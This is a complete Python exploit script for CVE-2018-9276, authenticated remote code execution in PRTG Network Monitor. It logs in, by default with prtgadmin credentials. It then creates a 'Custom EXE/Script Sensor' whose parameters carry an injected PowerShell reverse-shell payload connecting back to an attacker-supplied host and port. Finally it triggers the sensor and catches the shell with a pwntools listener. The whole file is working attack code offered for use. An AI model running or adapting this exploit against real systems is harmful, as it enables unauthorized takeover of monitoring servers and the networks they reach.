# -*- coding: utf-8 -*-

# Authenticated PRTG Network Monitor RCE
# CVE: 2018-9276
# Exploit author: Renan Almeida
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import random
import re
import requests
import sys
from pwn import *

def main():
    
    # args
    argparser = argparse.ArgumentParser(description='Authenticated PRTG Network Monitor RCE', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
    
    main_arg.add_argument('--rhost', type=str,
                            help='PRTG Network Monitor URL', 
                            required=True)
    
    main_arg.add_argument('--username', type=str,
                            help='PRTG Network Monitor username', 
                            default='prtgadmin')
    
    main_arg.add_argument('--password', type=str,
                            help='PRTG Network Monitor password', 
                            default='prtgadmin')    
                            
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable burpsuite proxy')
    
    args = argparser.parse_args()
    
    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)
    
    # cons
    lhost = args.lhost
    lport = args.lport
    rhost = args.rhost
    burpsuite = args.burpsuite
    username = args.username
    password = args.password
    
    # session
    sess = requests.Session()
    
    # burp proxy
    if burpsuite:
        proxies = { "http": "127.0.0.1:8080" }
    
    def reverse_shell():
        
        print(" [*] Spawning the reverse shell...")
        l = listen(lport)
        l.sendline("whoami")
        l.interactive()
    
    def login():
        
        params = {
            "loginurl": "",
            "username": username,
            "password": password
        }
        
        print(" [*] Trying to authenticate with supplied creds...")
        
        try:
            if burpsuite:
                r = sess.post("{}/public/checklogin.htm".format(rhost), params=params, 
                                                                        proxies=proxies)
            else:
                r = sess.post("{}/public/checklogin.htm".format(rhost), params=params)
        
        except Exception as e:
            print(e)
            print(" [*] An error occurried during the login process!")
            
        else:
            if "welcome.htm" in r.url:
                print(" [*] Logged with success!")
                return True
            else:
                print(" [*] Failed to login, please check your credentials!")
                return False
    
    
    def exploit():
        
        ps_payload = ";$client = New-Object System.Net.Sockets.TCPClient('"+lhost+"',"+lport+");"
        ps_payload += "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};"
        ps_payload += "while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;"
        ps_payload += "$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);"
        ps_payload += "$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';"
        ps_payload += "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"
        ps_payload += "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
        
        random_id = str(random.randrange(10, 9999))
        
        # adding sensor
        print(" [*] Adding a malicious sensor...")
        
        params = {
            "name_": "Custom EXE/Script Sensor",
            "parenttags_": "C_OS_VMware",
            "tags_": "exesensor",
            "priority_": "3",
            "exefile_": "Demo Powershell Script - Available MB via WMI.ps1|Demo+Powershell Script - Available MB via WMI.ps1||",
            "exefilelabel": "",
            "exeparams_": ps_payload,
            "environment_": "0",
            "usewindowsauthentication_": "0",
            "mutexname_": "",
            "timeout_": "60",
            "valuetype_": "0",
            "channel_": "Value",
            "unit_": "#",
            "monitorchange_": "0",
            "writeresult_": "0",
            "intervalgroup": "0",
            "intervalgroup": "1",
            "interval_": "60%7C60+seconds",
            "errorintervalsdown_": "1",
            "inherittriggers": "1",
            "id": "2004",
            "sensortype": "exe",
            "tmpid": random_id
        }
        
        try:
            if burpsuite:
                r = sess.post("{}/addsensor5.htm".format(rhost), params=params, 
                                                                proxies=proxies)
            else:
                r = sess.post("{}/addsensor5.htm".format(rhost), params=params)
        
        except Exception as e:
            print(e)
            print(" [*] An error occurried during adding the sensor!")
            sys.exit(1)
            
        else:
            if r.status_code == 200:
                print(" [*] Malicious sensor added with success!")
                print(" [*] Grabbing malicious sensor ID...")
                
                try:
                    if burpsuite:
                        r = sess.get("{}/sensors.htm".format(rhost), proxies=proxies)
                    else:
                        r = sess.get("{}/sensors.htm".format(rhost))
                    
                    sensor_id = re.findall('sensor.htm\?id=([0-9]{4})">Custom EXE/Script Sensor', r.text)[-1]
                    
                except Exception as e:
                    print(e)
                    print(" [*] Failed to grab malicious sensor ID")
                    sys.exit(1)
                    
                
                print(" [*] Malicious sensor ID: " + sensor_id)
                    
                print(" [*] Now triggering the exploit and getting reverse shell...")
                
                try:
                    if burpsuite:
                        r = sess.post("{}/api/scannow.htm".format(rhost), 
                                                    params={"id": sensor_id}, 
                                                    proxies=proxies)
                    else:
                        r = sess.post("{}/api/scannow.htm".format(rhost), 
                                                    params={"id": sensor_id})
                
                except Exception as e:
                    print(e)
                    print(" [*] An error occurried during the exploit triggering stage.")
                    sys.exit(1)
                
                else:
                    if r.status_code == 200:
                        print(" [*] PRTG exploited with success!")
                        reverse_shell()
                        
            else:
                print(" [*] Failed to add the malicious sensor :(")
                sys.exit(1)
            
    # main
    print(" [>] Authenticated PRTG Network Monitor RCE")
    print(" [*] Python script exploit author: nullarmor")
    
    if login():
        exploit()
    
    
if __name__ == "__main__":
    main()
